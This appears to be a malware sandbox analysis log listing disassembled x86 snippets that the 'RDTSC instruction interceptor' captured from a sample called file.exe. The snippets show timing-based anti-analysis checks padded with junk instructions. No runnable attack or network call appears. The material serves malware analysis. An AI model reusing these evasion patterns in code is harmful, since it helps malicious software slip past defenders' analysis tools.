Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90264 second address: 4E902C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 mov si, bx 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F654C734E65h 0x00000020 and eax, 219AFC36h 0x00000026 jmp 00007F654C734E61h 0x0000002b popfd 0x0000002c mov bl, ch 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E902C1 second address: 4E902E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 791Fh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654CE0FA17h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E902E9 second address: 4E9031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654C734E5Fh 0x00000009 and ch, FFFFFFCEh 0x0000000c jmp 00007F654C734E69h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9031B second address: 4E90329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90329 second address: 4E9032F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9032F second address: 4E90335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90335 second address: 4E903A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edx, 21E420EAh 0x0000000f mov ebx, 145B61B6h 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 jmp 00007F654C734E5Dh 0x0000001b xchg eax, edi 0x0000001c jmp 00007F654C734E5Eh 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F654C734E61h 0x00000029 and cx, 4DC6h 0x0000002e jmp 00007F654C734E61h 0x00000033 popfd 0x00000034 mov ax, FA77h 0x00000038 popad 0x00000039 xchg eax, edi 0x0000003a pushad 0x0000003b mov si, C16Fh 0x0000003f push eax 0x00000040 push edx 0x00000041 mov eax, 7051FA81h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E903A4 second address: 4E903D2 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [75AB4538h] 0x0000000c pushad 0x0000000d mov si, E775h 0x00000011 mov ax, 85F1h 0x00000015 popad 0x00000016 xor dword ptr [ebp-08h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F654CE0FA13h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E903D2 second address: 4E903EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E903EA second address: 4E9043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d jmp 00007F654CE0FA0Fh 0x00000012 nop 0x00000013 pushad 0x00000014 mov cl, B5h 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushfd 0x00000021 jmp 00007F654CE0FA12h 0x00000026 and si, 4FE8h 0x0000002b jmp 00007F654CE0FA0Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9043F second address: 4E90477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dh, FFh 0x0000000d popad 0x0000000e lea eax, dword ptr [ebp-10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654C734E61h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90477 second address: 4E90487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90487 second address: 4E904BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007F654C734E66h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, bx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E904BF second address: 4E904C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E904C4 second address: 4E904CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E904CA second address: 4E9056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e jmp 00007F654CE0FA0Ah 0x00000013 mov ecx, dword ptr [eax+00000FDCh] 0x00000019 jmp 00007F654CE0FA10h 0x0000001e test ecx, ecx 0x00000020 jmp 00007F654CE0FA10h 0x00000025 jns 00007F654CE0FA28h 0x0000002b jmp 00007F654CE0FA10h 0x00000030 add eax, ecx 0x00000032 jmp 00007F654CE0FA10h 0x00000037 mov ecx, dword ptr [ebp+08h] 0x0000003a pushad 0x0000003b jmp 00007F654CE0FA0Eh 0x00000040 pushfd 0x00000041 jmp 00007F654CE0FA12h 0x00000046 sbb al, FFFFFFB8h 0x00000049 jmp 00007F654CE0FA0Bh 0x0000004e popfd 0x0000004f popad 0x00000050 test ecx, ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E9056F second address: 4E90573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90573 second address: 4E90579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E90579 second address: 4E9057F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80386 second address: 4E8038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8038C second address: 4E8039D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8039D second address: 4E803C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654CE0FA0Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E803C1 second address: 4E803C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E803C7 second address: 4E803FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654CE0FA10h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, B680h 0x0000001a mov dx, BAACh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E803FA second address: 4E80400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80400 second address: 4E80404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80404 second address: 4E80456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F654C734E60h 0x00000011 push eax 0x00000012 jmp 00007F654C734E5Bh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov ebx, esi 0x0000001b pushad 0x0000001c movzx eax, di 0x0000001f mov edx, 6992CBBEh 0x00000024 popad 0x00000025 popad 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F654C734E61h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80456 second address: 4E80474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80474 second address: 4E80478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80478 second address: 4E8047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E804C7 second address: 4E804D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E804D9 second address: 4E80512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 jmp 00007F654CE0FA17h 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F654CE0FA15h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8059F second address: 4E805DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F654C734E67h 0x0000000a or cx, 162Eh 0x0000000f jmp 00007F654C734E69h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80656 second address: 4E8065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8065A second address: 4E8065E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8065E second address: 4E80664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80664 second address: 4E8066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8066A second address: 4E8070A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F654CE0FA7Ch 0x0000000e pushad 0x0000000f call 00007F654CE0FA18h 0x00000014 pushfd 0x00000015 jmp 00007F654CE0FA12h 0x0000001a or ax, 0058h 0x0000001f jmp 00007F654CE0FA0Bh 0x00000024 popfd 0x00000025 pop esi 0x00000026 mov edx, 4DDD559Ch 0x0000002b popad 0x0000002c cmp dword ptr [ebp-14h], edi 0x0000002f pushad 0x00000030 pushad 0x00000031 mov dl, 8Fh 0x00000033 popad 0x00000034 popad 0x00000035 jne 00007F65BD9ED7DCh 0x0000003b pushad 0x0000003c pushad 0x0000003d jmp 00007F654CE0FA0Ch 0x00000042 mov esi, 1AE68001h 0x00000047 popad 0x00000048 jmp 00007F654CE0FA0Eh 0x0000004d popad 0x0000004e mov ebx, dword ptr [ebp+08h] 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F654CE0FA17h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8070A second address: 4E8075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2DEAh 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea eax, dword ptr [ebp-2Ch] 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 pushfd 0x00000015 jmp 00007F654C734E64h 0x0000001a xor eax, 427E49D8h 0x00000020 jmp 00007F654C734E5Bh 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F654C734E65h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8075E second address: 4E8079C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA17h 0x00000008 mov si, 5D5Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F654CE0FA15h 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8079C second address: 4E807A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E807A0 second address: 4E807A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E807A6 second address: 4E807CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov di, si 0x0000000e mov si, 9779h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 movsx edi, si 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E807CD second address: 4E80804 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, cx 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F654CE0FA12h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654CE0FA17h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80804 second address: 4E8080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8080A second address: 4E8080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8080E second address: 4E80812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80859 second address: 4E80880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80880 second address: 4E80895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8007D second address: 4E80081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80081 second address: 4E80087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80087 second address: 4E80098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80098 second address: 4E800BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], 55534552h 0x00000012 pushad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80C68 second address: 4E80C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80C80 second address: 4E80C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80C84 second address: 4E80C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, dh 0x0000000e mov eax, 0E5D18B1h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80C98 second address: 4E80C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80C9E second address: 4E80CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80CA2 second address: 4E80CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80CB3 second address: 4E80CB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80CB9 second address: 4E80D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654C734E5Eh 0x00000010 cmp dword ptr [75AB459Ch], 05h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F654C734E5Dh 0x00000020 jmp 00007F654C734E5Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D0C second address: 4E80D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D11 second address: 4E80D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F65BD302B31h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654C734E65h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D41 second address: 4E80D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D73 second address: 4E80D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D77 second address: 4E80D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80D7D second address: 4E80DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654C734E68h 0x00000009 sub si, 6D98h 0x0000000e jmp 00007F654C734E5Bh 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push 1092A043h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F654C734E5Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80DC4 second address: 4E80DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80DCA second address: 4E80DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80DCE second address: 4E80DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E80E40 second address: 4E80E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA071B second address: 4EA0722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0722 second address: 4EA0734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 push ebx 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0734 second address: 4EA0738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA0738 second address: 4EA073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA073E second address: 4EA079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA18h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F654CE0FA13h 0x00000019 add eax, 1192299Eh 0x0000001f jmp 00007F654CE0FA19h 0x00000024 popfd 0x00000025 mov esi, 6B9A0167h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA079E second address: 4EA07E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, CEFEh 0x00000007 mov esi, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov bx, 0362h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F654C734E69h 0x0000001b add al, 00000036h 0x0000001e jmp 00007F654C734E61h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA07E2 second address: 4EA081D instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 jmp 00007F654CE0FA0Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F654CE0FA0Ah 0x0000001a jmp 00007F654CE0FA15h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA081D second address: 4EA087C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F654C734E63h 0x00000012 pop esi 0x00000013 pushfd 0x00000014 jmp 00007F654C734E69h 0x00000019 and ax, 46B6h 0x0000001e jmp 00007F654C734E61h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
